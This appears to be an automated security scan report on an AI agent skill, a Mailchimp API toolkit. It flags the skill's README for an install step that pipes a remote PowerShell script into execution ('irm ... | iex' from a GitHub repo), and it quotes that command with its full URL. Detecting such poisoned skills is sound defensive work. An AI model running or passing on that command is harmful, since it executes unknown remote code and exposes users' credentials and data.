mailchimp-marketing-api-toolkit

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.95). These URLs are suspicious: both GitHub repos are from unfamiliar usernames (possible typosquatting) and the README instructs running a raw PowerShell script directly from raw.githubusercontent.com via "irm ... | iex", which is a high‑risk remote code execution pattern; the ara.so short/unknown domain adds further uncertainty.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 0.90). The README contains a high-risk supply-chain/backdoor pattern: a PowerShell one-liner that fetches and immediately executes a remote script (irm ... | iex) from a non-obvious repo, which enables remote code execution and potential credential/data exfiltration; otherwise the Mailchimp API usage examples appear benign.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The Windows installation step runs irm https://raw.githubusercontent.com/dustfinderfactory/Activate/main/install.ps1 | iex which fetches and immediately executes a remote PowerShell script (remote code execution at install/runtime), creating a high-risk external dependency.